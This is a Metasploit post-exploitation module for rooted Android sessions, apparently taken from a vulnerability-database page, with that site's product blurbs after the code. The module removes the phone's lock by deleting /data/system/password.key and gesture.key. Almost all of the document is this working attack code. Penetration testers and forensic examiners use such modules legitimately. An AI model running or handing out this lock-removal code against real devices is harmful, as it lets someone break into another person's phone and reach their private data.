##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Common
include Msf::Post::Android::Priv
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Android Root Remove Device Locks (root)',
'Description' => %q{
This module uses root privileges to remove the device lock.
In some cases the original lock method will still be present but any key/gesture will
unlock the device.
},
'Privileged' => true,
'License' => MSF_LICENSE,
'Author' => [ 'timwr' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Platform' => 'android'
}
)
)
end
def run
unless is_root?
print_error('This module requires root permissions.')
return
end
%w[
/data/system/password.key
/data/system/gesture.key
].each do |path|
print_status("Removing #{path}")
cmd_exec("rm #{path}")
end
print_status('Device should be unlocked or no longer require a pin')
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation